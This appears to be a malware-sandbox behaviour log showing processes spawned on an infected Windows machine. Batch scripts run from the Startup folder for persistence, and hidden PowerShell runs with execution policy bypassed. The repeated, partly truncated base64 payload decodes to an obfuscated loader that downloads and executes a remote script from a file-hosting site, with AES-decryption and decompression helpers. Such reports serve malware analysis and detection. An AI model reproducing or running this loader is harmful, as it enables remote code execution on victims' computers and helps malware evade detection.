                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd"
